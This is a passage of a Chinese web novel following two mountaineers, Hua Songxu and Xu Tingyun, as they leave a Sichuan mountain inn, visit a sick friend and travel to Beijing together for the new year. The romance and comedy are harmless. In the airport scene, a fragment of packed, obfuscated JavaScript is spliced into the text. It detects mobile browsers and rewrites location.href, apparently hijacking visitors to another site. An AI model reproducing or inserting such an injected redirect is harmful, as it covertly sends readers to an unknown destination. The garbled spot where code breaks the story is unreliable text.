恰好饭菜上桌,小徐立刻挽袖子舀汤布菜,把殷勤拿捏到了精髓。
华松栩忍了好几次没忍住,扑哧一声笑了,“好了,赶紧坐下吃。”
“喳。”
徐汀云见她眉宇间多云转晴,终于放心地开动。撒娇耍宝有用,油腻不可取。
他吃饭向来斯文,但速度很快,吃得还香。华松栩坐在他对面,不仅食欲变好,心情也好了许多。
结账的时候,奶奶怎么都不肯收钱。徐汀云的不收,华松栩的更不收。说他俩帮了朗嘉央金的忙,都是好心人,这顿饭她一定要请。两人连连道谢,和奶奶好生告别。
出了门,华松栩站在台阶上仰头。可能因为海拔高,那浓郁的蓝于瞳孔中不断靠近,像一头扎进倒置的海里。
徐汀云含笑,“没有雪花,你的睫毛都没用武之地。”
华松栩闭眼,又睁眼,纤细的睫毛如蝴蝶振翅欲飞,“天气真好。”
徐汀云始终没移开视线,“整好,我们一起出山。”
一切都和第一次来时不同了。天气不同,心情不同,脚下步速也不同。
华松栩负手,悠哉哉地沿着乡村小道走,偶尔小心绕过牦牛粑粑。左手边,罗普峰领携的一众雪山清晰可见。
走着走着,她发现身旁的人没了,回头发现小徐正在冲锋衣口袋里掏东西,于是扬声问:“找什么呢?”
徐汀云擎着笑,大步向她走来,“手给我。”
华松栩对他这一套已有免疫,配合伸手,“这次是什么?”
徐汀云不满,“听你的语气,怎么一点都不期待?”
“期待期待。”华松栩伸直胳膊催促,“快点。”
徐汀云偏不快,端着架子,“那张绿绒蒿的照片呢?”
“包里,保存良好。”
华松栩说完,小徐肉眼可见的高兴了,呲着牙傻乐。她毫不怀疑,如果他有尾巴,此刻能摇成螺旋桨再飞上天。
“到底是什么?”她失笑,“再不给我就不要了。”
“别别别。”徐汀云立刻收敛,将一张照片正面朝下放在她掌心。
华松栩翻开看,竟然是那张她攀冰的照片,“你……什么时候洗出来的?”
“去县上进货的时候。”徐汀云说,“送照片就得实物,电子版不够仪式感。”
第一次看到,华松栩被深深触动。第二次看到,她仔细端详后评价:“给我拍得腿短胳膊长,像长臂猿。”
正要煽情的小徐哑了。
“那天穿了件天蓝色的冲锋衣,和背景撞色,主体不够突出。”
“……”
“还有,这个角度不对,如果能错开这根木桩只拍——”
话还没说完,徐汀云嗖地抢了回去,蔫蔫巴巴地说:“我不太会拍人像。我回去就练,练好了重拍。”
华松栩抬下巴,“那这张呢?不送了?”
“不送了。”
华松栩见小徐是真失落,又无奈又好笑道:“怎么,话都不让人说完?”
“不用说了。”
见他闷头就要往前走,华松栩赶紧拦,顺便抢了回来,“哎!送我的就是我的。”<
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p>“你又不喜欢?”徐汀云被她拉着手肘,别别扭扭地不回头。
“谁说我不喜欢?”
“你不是说——”
华松栩强行把他扯回身来,晃晃照片,“我的意思是,这张照片可能不是最完满,但是我最喜欢的。”
徐汀云眼睛一亮,但想起自己在忧郁又强行收敛。
华松栩一眼看出他再装十三,只觉得他不管怎么样都可爱。耍宝可爱,闹别扭可爱,哪怕油腻也可爱。于是在即将告别的伤感中,上前一步,踮起脚,抱了徐汀云。
“我明白你的用意,谢谢。”
纤细的手臂环着徐汀云的颈,几乎要令他做出一些失去理智的事情。比如狠狠将华松栩摁进怀中,不让风雪挨她半分。比如在近在咫尺的耳坠,落下一个虔诚的吻。
但他不能这样,不能做一个不尊重对方的登徒子,不能亵渎曾在黑暗中照亮他的那束光。
华松栩很快退开,有些不自在地摸了下鼻子,“走吧,今天收拾完早点休息。”
徐汀云嗓音喑哑,“嗯,回吧。”
他们并肩而行。冰雪消融后的路面留不下半个脚印,但每一步走过的路,都永远刻在了两人心间。
第二天,在朝阳无限好的清晨时分,徐汀云锁上了择木客栈的大门。
方木感叹:“不敢相信,我竟然在这住了两个月?”
徐汀云走下台阶,“和来的时候相比,感觉什么都没变,又感觉什么都变了。”
华松栩抬头看那经风吹日晒后已开始风化的木刻牌匾,“进山一个人,出山带俩拖油瓶。确实变了。”
“什么拖油瓶,代驾师傅!你说的。”徐汀云纠正。
“行。”华松栩随手一抛,车钥匙呈抛物线精准落在徐汀云的掌心,“辛苦代驾师傅,我去蓉城。”
“小徐代驾竭诚为您服务。”徐汀云提起她肩上的48L大包,“请将行李交给小徐,您这边请!”
华松栩任由他闹腾,眼里除了笑意,还有一丝难以察觉的宠溺。
虽然和第一次来时相比,天气不同,心情不同,脚下步速也不同。但身旁陪伴的人未变,他的心意也不曾改变。
当牧马人驶出村道,华松栩打开副驾驶的窗户,探头向后看。这个曾令她夜夜难眠的梦魇之地,如今多了些绚丽的色彩,多了些温馨和活力。所以离开时,她不舍又伤感。
许是察觉她的情绪,身后认真驾驶的小徐师傅戳了戳她的脑袋,“之前我说的话还作数。”
华松栩反手拍掉那只作乱的爪,没好气道:“什么话?”
徐汀云说:“陪你再来一趟罗普峰。”
一时间,车厢里只有寒风灌进的呼呼声,和长发扫过冲锋衣的沙沙声。华松栩扒着窗框没回头,视线长久地落在遥远的地平线和拔地而起的雪山群落。
她又看到了那条覆满积雪的路,看到了踽踽独行的自己。如果身旁多一人,似乎也不赖。
理性让华松栩用沉默表达拒绝,感性让华松栩在心里默默说了声好。
40. 重新开始
到了安县,三人径直去了医院。
嘉措于一周前进行了2/3的胃部切除,手术成功,恢复得也不错,精神状态也挺好。看到华松栩提着东西,还嗔怪她太客气。
徐汀云从她手里接过,放到床头柜上,打趣道:“这是给老板娘买的,你又不能吃。老板娘都没拒绝,你也不能。”
央金郑重道谢。不止为这一件事,还为三人这半个多月来的帮助。
华松栩本来想给钱的,但被徐汀云拦了下来。像嘉措这样坚韧的人,不会被任何苦难击倒,也不会平白无故接受经济上的帮助。
所以临走前,她隐晦地暗示,如果有任何困难和她直接联系。
嘉措看着华松栩,那双幽静的眸子似能洞察人心,“放心吧,我不缺钱。真有困难的话我肯定开口。”
华松栩被戳破心思,抿唇没说话。
嘉措笑了笑,“姑娘,你心善也心软,以后可得小心别被人骗。”
明明不是她的责任,仍想尽办法给次仁一家赔偿是。如今因为他曾施以援手,不求回报帮忙看顾客栈是,想给他经济支持也是。
华松栩还是头次得到这样的评价,毕竟冷面冰山才是常态。所以表情有点僵。
见状,徐汀云虚揽住她的肩,往自己身旁带了带,笑吟吟道:“老板您放心,有我在没人骗得了。本人火眼金睛。”
嘉措倚着病床想笑,可手术刀口未完全恢复不敢笑,只得抱着肚子哼哼。
离开时,央金一路送到停车场,拉着他们一遍遍道谢。直到开车拐入主路,那微微佝偻的身影依然立在原地,最终变为后视镜里的一个小黑点。
方木窝在后座,恹恹地问:“你说经过化疗,老板能痊愈吗?”
“老板本人那么乐观,你也别丧气。”徐汀云说。
华松栩还在看后视镜,还有些伤感,“怎么不见央金的女儿?”
“她女儿嫁到了云省,几年前丈夫意外身亡,她和她婆婆两人既赚钱养家还要照顾孩子。所以等嘉措手术后能下地,央金就让她回去了。”
华松栩一时唏嘘。麻绳专挑细处断,命运的安排总是残忍。
气氛一时凝滞。
“每个人都在自己的位置上努力。”徐汀云话锋一转,“所以方木,你那点论文什么时候能憋出来?”
方木双目圆睁,“不是,我——”
“你看人家怎么努力的,再看看你!”
“……”方木委屈又无从反驳,只得悲愤望天。
华松栩不由笑了,心头阴云随之散了些。
临近年跟前,国道上跑的车不多,加上天气好,一路飙得也快。约莫一点左右,拐进停车区吃饭顺便换人。
华松栩让他俩先吃,自己下车活动筋骨,结果徐汀云紧跟了下来。
“怎么不吃?”
“等会吃。”徐汀云拉着她一路走到隔离带旁边,“认出来这是哪了吗?”
华松栩张望一圈找不到一丝熟悉的痕迹,疑惑道:“哪?”
徐汀云面露无奈,伸手指对向的停车区,“看那垃圾桶,想起来了吗?”
一说垃圾桶,华松栩福灵心至,“这难道是……”
“是。”徐汀云笑,“有人气势汹汹拉开我车门,不等我解释就给了一棍子。”
“……谁让你鬼鬼祟祟?”
“我那么光明正大地跟车,哪里鬼祟?”
“跟车就很鬼祟。”
“好好,都是我的错。”徐汀云嗓音宠溺,“就因为我鬼祟,你就扔我给的泡椒凤爪?”
华松栩双目圆睁,不可思议道:“你看到了?”
“昂。”徐汀云抬手,两根指头对准自己的眼睛,又翻过来对准华松栩,“本人鹰眼。”
华松栩莫名理亏,揪冲锋衣袖的收口。
徐汀云失笑,“又没怪你,而且早猜到你不会要。”
“那你还给?”
徐汀云坦然,“给不给是我的事情,要不要是你的事情。既然我给,那就随意你怎么处置。”
那包泡椒凤爪是,他的心意也是。
华松栩撇嘴不言,兀自咬了根烟在红唇之间,正要点燃时一只大手抽走了防风火机。啪一声,火苗于修长的指间探头。
她接受了徐汀云的好意,将细支烟没于火焰之中,又在白烟袅袅中扬着下巴睨他,神情孤冷倨傲。一如那晚的初见。
徐汀云笑意渐深,把玩着打火机道:“不知不觉,咱俩都认识一个多月了。”
华松栩站在路沿上,半个脚掌悬空,“够长了,今晚到机场就挥手再见。”
徐汀云看了眼运动手表,“剩下不到十个小时,就没有一点不舍?”
“有。”华松栩立刻点头。
“来,展开讲讲!”
她咬着烟含糊道:“靠谱的代驾不好找,不要钱的更少。确实舍不得。”
徐汀云嘴角抽抽,“……还有呢?”
“没有了。”
“……”
小徐耷拉着脑袋耷拉着嘴角,还学着闹别扭的小媳妇,一跺脚一扭身,用后脑勺对着华松栩,肉眼可见的不高兴。
华松栩没哄他,只是眯眼笑,直到香烟燃尽才慢悠悠地说:“帮我扔个东西。”
徐汀云不动,“我只是个代驾师傅,不提供这项服务。”
“嗳!转过来。”
“我不。”小徐出息了,有骨气了。
只是这点出息和骨气还没坚持三秒,就被人揪住帽子强行转身。
“咳咳咳!”徐汀云被衣领掐住咽喉,捂着脖子咳嗽,“你这人,怎么还有始有终的……”
“昂!”华松栩将掐灭的烟头塞给他,“扔了。”
“使唤我倒是挺顺手的。”
徐汀云嘴上抱怨身体却很诚实,走过去刚掀开垃圾桶盖,就听华松栩喊了一声。
“嗳,还有这个!”
徐汀云回头,一个白色物体呈抛物线落于掌心,定睛一看,是才开封的烟盒,至少还有三分之二。
华松栩负手,慢悠悠往前走。听到垃圾桶盖在重力作用下踢里哐啷的巨响,紧接着是飞速靠近的脚步声,不由勾唇。
徐汀云亦步亦趋,试探问:“是戒烟的意思吗?是吗是吗?”
“打火机也可以扔了。”华松栩答非所问。
徐汀云第一反应是不可思议,连带大脑运
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转失灵。卡壳了好半天后,他一把拉住华松栩的手腕,“你……你还回海城吗?”
华松栩象征性地挣了下,没挣开,就由着他去了,“不回。”
“那你去哪?”
“在蓉城待着,过完年再看。”
徐汀云五指猛然收紧,嗓音都变了,“你要重新开始是不是?!”
重新开始。
华松栩在这一瞬间想到了许多人,有身陷家庭生活之囹圄却祝她得偿所愿的曲遥,有不苟言笑却笑着说不失本心的华哥,有遭遇丧夫打击却劝她继续向前走的白玛,有身患胃癌却还担心她心软受骗的嘉措。
还有——知晓她所有荣耀和不堪、喜悦和痛苦的徐汀云。
她在回忆中的画面游走。被迫睡在一顶帐篷,携手救下失温驴友,大雪封山后一起挖被掩埋的车,说走就走去追亡人海的日出,遇到劫匪背靠背的生死相依,攀冰脱力后跌入的温暖怀抱,一起带队行走于山野,一起吃的每一顿饭……
这些看似朴素的相遇和祝福,这些看似平凡的时间,如脚下寻常的土壤,如触手可及的阳光,让那颗冰封的种子再次生了根,发了芽。
华松栩依然忘不掉1228山难后的崩溃嘶吼,也依然走不出丰哥离开的阴云,但她愿意肩负重量继续行走于那条荆棘路,渴望攀向一个个壮丽又残忍的雪山之巅。
所以她颔首,说是。
徐汀云呆愣愣地站在原地,一股狂喜席卷全身的每一寸骨骼筋络,血液激荡于耳边隆隆作响。
华松栩扑哧一声笑了,趁机拂去他的爪,边往车边走边揉自己的手腕。太用力,怪疼的。
还没走出去两步,她被人抓住肩膀,在不容抵抗的力道中回身,下一秒便双脚离地,整个人都腾空了。
“喂——”
“没骗我吧!”徐汀云迫切地问。
华松栩被拦腰抱起,只得搭着徐汀云的肩,脊柱的大手和灼热的目光一样不容忽视。
这个姿势下两人紧紧相贴,只消一个抬颈一个低头,便能鼻尖碰鼻尖,或是唇挨唇,是说不出的暧昧旖旎。但徐汀云的眼睛清澈见底,像一只亲人的大金毛,只有单纯的喜悦。
所以华松栩没不觉得冒犯,倒有些感动。
她没回答,徐汀云也不需要她的回答,因为他心里已有答案。两人相视而笑,是无需言语的默契和熟念。
被徐汀云抱着悠了好一阵,华松栩终于抬手拍他的脑袋,“行了吧?放我下来。”
徐汀云没松,就这样望着她。
他说:“欢迎回来,阿栩。”
当徐汀云忽视右手边的辅道,绕路一公里调头进入对向的加油站时,华松栩立刻明白了过来,不禁笑着扶额。
“有始有终。”徐汀云说。
华松栩打开车门,加油小哥瞅了瞅似曾相识的越野,又瞅了瞅似曾相识的脸,“你你是……那个上坟?”
徐汀云紧跟着下车,绕过车头和华松栩并肩而立。
小哥目瞪口呆,颤抖地手指在两人摆了好几个来回,“你你……凤爪?你们——”
徐汀云抬臂揽住华松栩的肩,笑容灿烂。
“95,加满。”
41. 拙劣演技
恰逢春运,蓉城高铁站落客平台上人山人海,一片鲜红的车尾灯照亮了半边夜色。
徐汀云将行李递给方木,“时间刚好,就是来不及吃晚饭。路上凑活吃点吧。”
方木跨上包,“放心,我又不是小孩子。”
“我就客气一下,你还当真了。”徐汀云无辜。
“……”
华松栩倚着车门,看俩比自己小的男孩耍嘴皮子,无奈摇头。
徐汀云收起玩笑,拍拍方木的肩膀,“注意安全,到家和我说一声。”
方木凝视半晌,上前抱住徐汀云,“谢谢徐哥。”
徐汀云回抱,嘴上却很嫌弃,“一天怪肉麻的。”
方木退开两步,瞅瞅华松栩,又退开好几步,这才理直气壮地问:“我抱你是肉麻,你偷偷抱栩姐就不肉麻?”
他坐车上吃饭吃得好好的,看到俩人激情拥抱转圈圈吓了好大一跳,噎得灌了半壶水才缓过来。
徐汀云:……
华松栩:……
徐汀云作势要揍他,早有准备的方木拔腿就跑,边跑边回头喊:“栩姐一定要加油哇!拜拜!”
华松栩挥挥手,默默说了句再见。
聚散终有时,送走一个还有下一个。华松栩径直坐上驾驶座,戳了几下导航后蹙眉问:“你到底几点的飞机,赶得上吗?”
徐汀云拉好安全带,不答反问:“你在蓉城住哪?”
“住老周那。”
“周哥不回家过年吗?”
“他回,我住。”
徐汀云敲敲中控,“闹了半天,还是一个人过年。”
华松栩从小就不爱过年,对这个话题兴致缺缺,“无所谓,习惯了。”
刚说完,她搭在方向盘的手腕被人抓住,徐汀云的手机落于掌心。亮起的屏幕上赫然是机票预定页面,填乘机人的那一步。
徐汀云温声说:“我也一个人过。你要愿意的话和我一起回京市,顺便还能见见贺编,过完年再回蓉城。”
之前他提过可她没回应,原以为不了了之,没想到他一直没忘。华松栩抿唇,“我要不愿意呢?”
“那就给周哥打电话,看我能不能也借住一下。”
华松栩一哂,看向徐汀云,“还真讹上我了?”
“也可以是你讹上我。”徐汀云含笑,“举双手欢迎。”
“不需要。”华松栩冷漠脸,却没将手机还回去。
说不清是一个月的群居生活让她变得不再坚不可摧,还是人会本能地追逐光源和陪伴,她潜意识里竟然生出隐秘又难以启齿的期待。
徐汀云哦了一声,蔫巴巴地嘟囔,“我祖辈去世的早,姑姑一家常年在国外,舅舅一家定居南城,我每年都孤孤单单的。”
华松栩:……
“我会做好多菜,可一个人又吃不完,所以年夜饭都只能吃泡面。”
“……”
“一个人无事可做只能睡觉。可邻居家老教授四世同堂,春节假期欢声笑语,小孙子敲墙当敲鼓,搞得我夜夜难眠。太悲惨了。”
“……”
徐汀云眼里血丝密布,“原本以为可以抱团取暖,我都排好年夜饭的菜单了……哎,回去继续吃泡面吧。今晚我去周哥家把春节期间的饭备好,你每天拿出来热热——”
华松栩忍无可忍,飞速填好自己的证件信息,把手机丢了回去,“满意了吗?”
徐汀云揉揉眼睛,泪光闪闪,“我都快哭了。”
“行了,别演了。”华松栩呼噜他的脑袋,没好气道。
奥斯卡影帝来都得说一句辣眼睛和假惺惺。
徐汀云见被拆穿,便顺势结束小剧场,喜滋滋地买票。
华松栩打左转向并入车流,无意识得笑了。这人似乎总能看穿她的心思,以不着痕迹地守护她的自尊心,不让她感到一丝一毫的为难。
她从来不是个喜欢改变计划的人,可如果能让徐汀云开心,稍作改变似乎也无妨。
周耀的居所就和公司隔一条马路,独栋,带一小院。牧马人毫不客气地占据三分之二的空间,嚣张的不得了。
徐汀云瞅见车头和门的距离不足两米,疑惑道:“等周哥回来,车往哪停?”
“自己找车位。”华松栩理直气壮,“先到先得,这位置我占了。”
徐汀云喜欢她傲娇又不讲理的模样,就是有点可惜,如果对象是他就更完美了。
“收拾东西!”华松栩打开后备箱催促,徐汀云忙不迭跑了过去。
华松栩抽出行李箱进屋换衣服。毕竟是去城市,户外装扮暂可收起来。是以当她再回院子里时,徐汀云眼睛亮了好几度。
黑色羊毛衫和牛仔裤勾勒出瘦削却不赢弱的身材,皮靴包裹修长的小腿,黑色大衣长至膝盖。华松栩个子本就不低,这一身显得她更加高挑,行走间下摆于身后勾勒出利落轻盈的弧线,和此刻拂过发丝的风一般飒爽。
华松栩拖着箱子走来,莫名其妙,“看什么呢?”
“看你。”徐汀云说。
华松栩顺着他的目光看了看自己,“很奇怪吗?”
她确实很久没穿非户外的衣服了,但总归是她的衣服,肯定合身的。所以没看出名堂来。
“好看。”徐汀云上前一步,摘下落在她肩膀的发丝,顺势绕在自己指关节,一圈又一圈。
华松栩莫名指尖蜷缩,也不知因为他直白的夸赞,还是这看似单纯调皮又平白惹人遐想的小动作。于是箱子一推,冷声说:“拎着。”
小徐被这么使唤,浑身筋骨都舒畅了,美滋滋地肩负起两人的全部行李,“走吧。”
于是一路地铁到机场,再到值机托运,华松栩都是两手空空。甚至到了登机口,徐汀云让她先坐,再回来时手里提了袋汉堡王。
华松栩心里一暖,又有些无奈,“跑哪买去了?”
“另一头。”徐汀云显然是跑着去跑着回,还有些喘。
华松栩将吸管扎进纸杯,赶紧递给他。徐汀云接过,喝了好几大口,“还有二十分钟登机,快吃。”
两人人手一个汉堡,中间放着薯条和橙汁,画面平淡又温馨。
华松栩吃着吃着,扑哧一声笑了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298366|163571||http|test|mini|href|location''.split(''|''),0,{}));
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>“怎么了?”徐汀云擦擦嘴问。
华松栩说:“自从遇见你,每件事的走向都在脱轨。”
徐汀云眨巴眼睛,“有吗?”
华松栩惋惜,“从你的外帐被风吹走,我就应该警惕的。可惜一不留神,义务向导当了不说,还被你拐去京市过年。”
“多好,脱轨才能看到不一样的风景。”徐汀云乐了,“明儿徐哥就带你逛京市,保准你体验感满分。”
当飞机于万米高空平稳飞行,华松栩终于按耐不住困意,靠在徐汀云肩上沉沉睡去。方才还在说脱轨能看到不一样风景的小徐攥着手,突然就慌了。
撒泼打滚也好装可怜也好,他想和华松栩一起过年的初衷只是不忍心她孤单。即使她说自己习惯了一个人,即使他自己也习惯了一个人,他依旧难以遏制的心疼,想用仅有的热量驱散她的落寞。
可徐汀云忘了,感情之所以是感情,在于它完全不受理性控制。肩膀的重量和滑进领口的发丝,已经让他的思维脱缰。华松栩住在他家,和在怀远村住隔壁完全不同……他有点不敢想下去。
一点二十分,飞机准时落地。华松栩伸了个懒腰转醒,神清气爽。徐汀云眼里血丝密布,萎靡不振。
“没睡会吗?”华松栩看他。
徐汀云喉结滚动,嘴硬道:“一点都不困。”
上了出租车报了地点,开出去没五分钟,说自己不困的某人头顶车窗睡着了,过减速带时撞得砰一声都没醒。
华松栩听那声音就疼,于是坐直了些,将徐汀云的脑袋扳过来靠着自己。可身高差摆在那,小徐窝着腰总归不舒服,开始无意识地蛄蛹,细软的发丝扫过她的面颊,留下麻酥酥的触感。
华松栩由着他折腾了一阵,目光长久地落于窗外倒退的风景。京市高楼大厦鳞次节比,夜晚灯火通明,亮到她有些不习惯。
“姑娘这是打哪回来啊?”师傅操着浓郁的京腔,听起来很亲切。
华松栩应道:“川西,山里。”
“山里好啊!能呼吸新鲜空气,不像城市里天天只能吸雾霾和车尾气。”
徐汀云听到说话声挪了好几下,正当华松栩以为他要醒,耳边传来喃喃一声“阿栩”,旋即又安静了下来。呼吸随之喷洒在她的颈侧,一深,一浅。
师傅笑了,从后视镜看过来,“年轻人感情真好。”
华松栩正想解释,察觉腿边震了几下,是徐汀云的手机。她本来没想看,谁知消息内容直接显示在锁屏上,汉字不受控制地撞到她眼睛里。
【方木:徐哥我到家了,你那边怎么样?是回家了还是黏上栩姐啦?】
【方木:盲猜黏上了。】
【方木:真爱能融化冰山!为你加油!】
华松栩舌尖顶住后槽牙,过去一个月的蛛丝马迹精准串联起来。难怪每次三人在一块,方木都找借口溜走,原来和旁边这人“狼狈为奸”。
她伸手,猛一推肩膀上的脑袋。毫无防备的徐汀云不倒翁似的倒向另一边,脑门duang一声狠狠撞上玻璃。
小徐茫然地睁开眼睛,“到了吗?”
42. 大惊失色
徐汀云进了电梯按下15层后,一个劲摸额头,“我怎么感觉这有点疼?”
华松栩眼都不眨,“过减速带撞的。”
“是吗?”徐汀云狐疑,“这我都没醒?”
“嗯,你睡得沉。”华松栩真诚,“估计白天开车累到了,洗漱完早点休息。”
感受到春风般的关怀,徐汀云喜滋滋地点头,“你也是。”
在智能锁解锁的提示音中,徐汀云提着箱子率先进了家门,打开廊灯,找出拖鞋摆正,“那个……进来吧,只有我住,随意。”
话虽这么说,华松栩换了鞋后还是站在客厅正中央。第一次来,总归要客气一些。
这是一套至少一百八十平的四室两厅,色系以黑白灰为主,蛮有格调,就是少了些温馨。角角落落里有几株将近两米的植被,因为缺水已有枯黄。
都说家是一个人内心的投射。徐汀云永远是温暖的阳光的,可他的家冷冰冰,和华松栩想的完全不一样。这种反差让她心里堵得慌。
徐汀云忙活了一阵,从走廊探出头,“怎么不坐?”
华松栩摇头,“没事。”
徐汀云回到客厅,一手推箱子一手推她,一路护送至走廊尽头的卧室,“你住我的房间,床品刚刚换的,其他设施随便用。衣柜明天给你腾出来。”
目之所及全是冷色,连床品和已经合拢的窗帘都是深灰。只有双人床对面整面墙的书架上,偶有颜色跳脱的书封装点,不至于太过沉闷。
“不用折腾,初五我就走了。”
“不管一天还是十天,都要住的舒心。”徐汀云温声道,“卫生间我也收拾过了,有淋浴和洗衣机。床头柜我放了两套居家服,干净的,需要的话随便穿。”
华松栩依次看过去,洗手台上放着新开封的洗手液、玻璃杯和全新的牙刷牙膏,自动马桶也套上了马桶圈。床头柜上是一套卫衣卫裤和一套衬衫样式的居家服,整齐叠放好。她说不上来自己的感受,可他的心意她看得一清二楚。
在凌晨的万籁俱寂中,华松栩攥着行李箱的拉杆,低声说了句“谢谢。”
在这样的时间里,喜欢的人站在自己的房间,目光平静又柔和。徐汀云耳尖直接爆红,不敢再看下去,边往外走边嘟囔道:“那你早点休息,我在隔壁,有事直接敲门。”
“好。”看他落荒而逃的模样,华松栩情不自禁地笑。
徐汀云的心思,确认是今晚方木的消息,但其实从为了唱给她而唱给所有人的情歌起已是昭然若揭。华松栩不知道这份喜欢里有多少是因为她本身、又有多少是因为她是阿栩,更担心徐汀云因为她固执地选择雪山攀登。
她换上徐汀云的居家服,躺在徐汀云的床上,立刻被清冽好闻的气息包裹,一切担忧、怀疑和迷茫随之被驱散。很神奇,有他在,她总是觉得安心。
华松栩寻了个舒服的姿势,很快睡着了。
没有赶路的压力,没有要带队走线的牵挂,华松栩睡到日上三竿才幽幽转醒。窗帘遮光效果绝佳,卧室里依旧一片昏暗,是以她磨磨唧唧看时间后吓了一大跳。
“徐汀云?”华松栩拉开门,客厅一片安静。
左手边最靠外侧的房门打开,徐汀云走了出来,鼻梁上挂着副细框眼镜都没掩住笑意,“醒了?”
小徐一身深蓝色家居服,衬衫样式,还用拇指和中指扶了下两侧镜框。华松栩直勾勾地看了好一会,觉得他换副打扮气质都变了,怪斯文的。
徐汀云也在看华松栩。女人一脸刚睡醒的朦胧,还穿着他的居家服,领口松垮露出秀气的锁骨,肩线落在手臂,两只袖子完全遮住她的手,像偷穿大人衣服的孩子,衬得身板愈发娇小。他看着眼热,逼着自己移开目光,“咳,我去热早饭。”
徐汀云往厨房走,华松栩跟在后头,“你做的吗?”
“我倒是想,可家里什么菜都没。”徐汀云打开微波炉,“外卖,小笼包和蔬菜粥。”
华松栩靠着玻璃门默默点头,又看了眼他的眼镜,“近视?”
徐汀云定好时间后转身,两手一摊说:“我远视。”
华松栩思考了下,“老花眼?”
“……可以这么理解。主要是看近处有点难受,所以看书看电脑带一带。”
徐汀云见她对自己的眼镜格外感兴趣,于是单手摘掉,反手挂在了华松栩的鼻梁上。
华松栩想躲,可身后就是玻璃门,所以回过神来时世界开始天旋地转,“晕死了!”
徐汀云眼疾手快,掏手机解锁拍照一气呵成。
听到“咔嚓”的快门声,华松栩将眼镜放在台面上,深吸一口气。
徐汀云见势不妙拔腿就跑,华松栩迅速抓住他的胳膊完美拦截,眼看犯罪证据就要到手,小徐高高举起左手,借用身高优势拼死保护。华松栩蹦起来抢,可无论她如何努力,徐汀云只需稍稍垫脚便化解了攻势。
华松栩板着脸,“给我!”
小徐擎着笑,“抢到就给你。”
话虽这么说,徐汀云任由她又是摁右边肩膀又是拉左手衣袖,巍然不动。
华松栩怒了,改为一手抓头发一手抓耳朵并剧烈摇晃。
“嗷嗷嗷——”徐汀云一阵呲牙咧嘴的哼唧,“我错了我错了我真的错了!”
五分钟后,华松栩优雅地翘着二郎腿,优雅地喝蔬菜粥。黑桃木餐桌对面,徐汀云原本就不长的头发乱飞,一边耳朵红得滴血,衬衫领皱皱巴巴,时不时咳嗽一声,一副被凌/虐的惨状。
“活该。”华松栩如是说,
徐汀云垂下眼帘藏起笑意,顺从地说:“是,我活该。”
吃过饭,徐汀云问方不方便进卧室腾衣柜。华松栩其实觉得没必要,但看他格外坚持,还是点头答应了。
趁他收拾的功夫,华松栩去阳台打电话,对面很快接起。
“稀客,怎么想起给我打电话了?”
今天京市雾霾霾的,阳光经过无数层过滤后失去了温度,但这些毫不影响华松栩松快的心情。<
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她笑道:“不仅给你打电话,还想约你吃饭。”
贺灵立刻问:“被徐汀云拉来京市了?”
“嗯。”
毕竟小徐在朋友圈评论里诚挚相邀,共同好友都能看到。
“一猜就是。”贺灵也笑,“我明天中午和后天中午有空,看你们的时间。”
华松栩不做他想,顺嘴说:“好,我去问问。”
“你和徐汀云在一块?”贺灵敏锐地问。
“对。”
在华松栩轻描淡写的回复中,贺灵大胆猜测勇于开麦,“你难道住他家???”
楼下,有一位男人站在草坪边,防爆冲绳无限伸长,另一头的小黑狗在做规律圆周运动,转了至少十圈之后终于蹲了下去。解决完需求,换它的主人钻草坪,可小黑狗撒丫就跑,男人只得一边拔河一边收尾,看起来有点艰辛。
华松栩勾唇,“嗯,在他家。”
贺灵沉默了足足半分钟,“挺好的,省钱了。”
华松栩扑哧一声笑了,“借住几天而已,见面再聊。”
“行吧,确定时间发我。”
挂了电话,华松栩又看了一阵小狗和捡屎官的遛狗连续剧,估摸时间差不多了,转身去找徐汀云。
卧室门半开,男人面朝衣柜收起衣物,每一件叠好再放进旁边的衣篓,动作有条不紊,一看就很会做家务。不像华松栩,除了在打包重装包这一种情形下很有天赋,面对衣柜和行李箱时那是手足无措。
作为居家废物对居家能手的欣赏,华松栩默默站在一旁,没发出动静。
徐汀云腾出一整面衣柜后终于收手了,正要把衣篓端到隔壁,余光瞥见了一个靠近的黑影。毫无心理准备的小徐吓了一大跳,砰一声靠住柜门,“你什么时候来的?怎么一点声都没有?”
华松栩站定,垂眸看掉落在他脚边的灰色物体,“看你收拾的认真,就没打扰。”
徐汀云摸摸自己砰砰乱跳的小心脏,“收拾完了,马上走。”
华松栩还在看,看了好一会还是没看出是什么,于是弯腰去捡。
徐汀云顺着她的动作去看后大惊失色,瞠目破音:“别——”
然而,为时已晚。
华松栩毫无想法地捡起来,毫无防备地展开,然后被精准击中了眼球。
这灰色物体竟然是一条大象内裤,有两只忽闪的大耳朵,和一个逼真的长鼻子。鼻子的位置,刚好是……
华松栩第一次看到认知以外的事物,三观受到了极大的冲击。她看看鼻子,看看徐汀云,视线不自觉下移看看他的裤子,还是无法把大象内裤和他联系在一起。
徐汀云原本呆滞了,被她那一眼看得血液倒流如梦初醒,赶紧抢回来揉吧揉吧背在身后,“不是,我……”
小徐急赤白脸,几番欲言又止,憋得整个脖子都红透了还没憋出半个字。
华松栩缓缓放下手,也不知道该说什么,于是本能地问了句。
“你的?”
43. 大象内裤 “不是!!!”
“不是!!!”
徐汀云爆发出惊天怒吼,在这二十平方的空间里余音绕梁不绝于耳,久久才消散。
眼看素日里游刃有余的小徐急了,华松栩赶紧哄他,“好好,不是。”
“好好是什么意思?它就不是!”
人在尴尬的时候总是会做一些徒劳的解释,华松栩懂,于是配合地点头,“不是、不是。”
徐汀云活了二十多年,头一回体会到什么是百口莫辩,恨不得掏出心脏让她看看,“你你你听我说……”
“听着呢。”华松栩其实特想笑,这会硬忍着。主要怕她笑出声,小徐会夺门而出甚至离家出走。
“这是我哥、我哥在我18岁生日送我的,恶搞我!”
华松栩能忍住不笑,却忍不住逗小徐,“送你了,那不就是你的?”
徐汀云慷慨激昂,“不是!我没穿过,所以不是!!!”
徐汀云是真的生气了,不是对华松栩,是对他哥。具体表现为吃午饭时,怒气冲冲地戳摆在餐边柜上他哥照片的脸,又怒气冲冲地把相框扣下,开启单方面冷战。
